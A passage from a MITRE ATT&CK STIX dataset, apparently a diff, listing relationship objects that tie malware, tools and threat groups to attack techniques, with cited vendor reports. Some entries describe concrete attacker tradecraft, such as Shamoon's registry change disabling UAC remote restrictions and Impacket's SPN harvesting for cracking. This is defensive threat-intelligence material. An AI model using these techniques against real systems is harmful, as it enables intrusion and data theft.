"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) digitally signs the malware with a code-signing certificate.", + "type": "relationship", + "created": "2019-01-30T13:53:14.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--496017cd-f22a-4295-931c-70bb672985f8", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.052Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) deobfuscates its strings and APIs once its executed.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fd2f1a44-2ae7-4df0-b53c-42bc96af2da1", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FTP](https://attack.mitre.org/software/S0095) may be used to exfiltrate data separate from the main command and control protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408", + "external_references": [ + { + "source_name": "Wikipedia FTP", + "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.", + "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3671c28f-927b-40e0-ba75-079c0aafea5b", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) exfiltrates data in compressed chunks if a message is larger than 4096 bytes .", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4182c2a-c2b3-4866-9f7e-f29e0229dead", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell scripts for execution.", + "type": "relationship", + "created": "2019-01-30T14:26:43.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5182d53-f71f-4b86-8e52-9670d9eaa396", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.318Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) can download and execute a file.", + "type": "relationship", + "created": "2019-01-30T15:21:42.356Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a33a1a9c-c8d1-45f5-ad29-4a4188e5a54b", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-01-30T15:21:42.356Z", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.", + "type": "relationship", + "created": "2019-01-30T15:38:21.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f638cb6d-d725-444f-93f9-02f49b4d9383", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.294Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can log keystrokes.", + "type": "relationship", + "created": "2019-01-30T16:39:54.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--458eebea-e73b-4417-9ce0-11417f6b0289", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.847Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has created a scheduled task named \"MicrosoftEdge\" to establish persistence.", + "type": "relationship", + "created": "2019-01-30T17:13:11.828Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ccf654b-1077-4277-9a24-099fb3bf095f", + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:53.142Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.", + "type": "relationship", + "created": "2019-01-30T17:43:28.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02052736-4888-47b0-9eb4-4031a4061998", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.147Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used several remote administration tools as persistent infiltration channels.", + "type": "relationship", + "created": "2019-01-30T18:02:59.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ffb8d9a-6aee-4bb5-9f1a-0e9c1f643350", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.914Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can download a payload for execution.", + "type": "relationship", + "created": "2019-01-30T18:58:03.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f315cbb6-e49c-4820-99cb-262d36acf17f", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.987Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp.", + "type": "relationship", + "created": "2019-01-30T19:50:46.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7c855ed-9550-4611-84bd-d4d7c86cef3c", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.294Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.", + "type": "relationship", + "created": "2019-01-31T00:23:06.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ee8bf1b-acbc-4138-a7dc-667b251fd826", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.364Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.", + "type": "relationship", + "created": "2019-01-31T01:07:58.546Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63994c7c-6544-4e29-9c94-ac2237166774", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.709Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.", + "type": "relationship", + "created": "2019-01-31T01:39:56.555Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d4113cb-f652-4214-9585-388422528960", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.782Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Once [Shamoon](https://attack.mitre.org/software/S0140) has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b", + "external_references": [ + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.365Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can download and execute an arbitary executable.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4cbbe25-bc29-406d-b92e-6e50ee4cd322", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55df3b40-b130-4313-9064-6b0fc56564d0", + "external_references": [ + { + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that captures screenshots of the victim's desktop.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--290c4e3b-00be-411f-b0c8-919e85e08a49", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.660Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use base64 encoded C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9109cd5-1b13-4376-a761-b68302879351", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about Windows OS version, computer name, battery info, and physical memory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.674Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:12:58.737Z", + "type": "relationship", + "id": "relationship--61528841-379e-4fa3-a233-34c745764c18", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has obfuscated strings in [Bandook](https://attack.mitre.org/software/S0234) by base64 encoding, and then encrypting them.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c533013-a72e-4aef-bd19-8ea9ea415189", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.943Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.626Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather information about TCP connection state.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed561ab1-db94-4dbe-873b-d3e6cb488c4d", + "external_references": [ + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Brave Prince](https://attack.mitre.org/software/S0252) variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28a113cd-efdc-49cf-b6d2-c967e11de751", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInfoOSX function to return the OS X version as well as the current user.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + 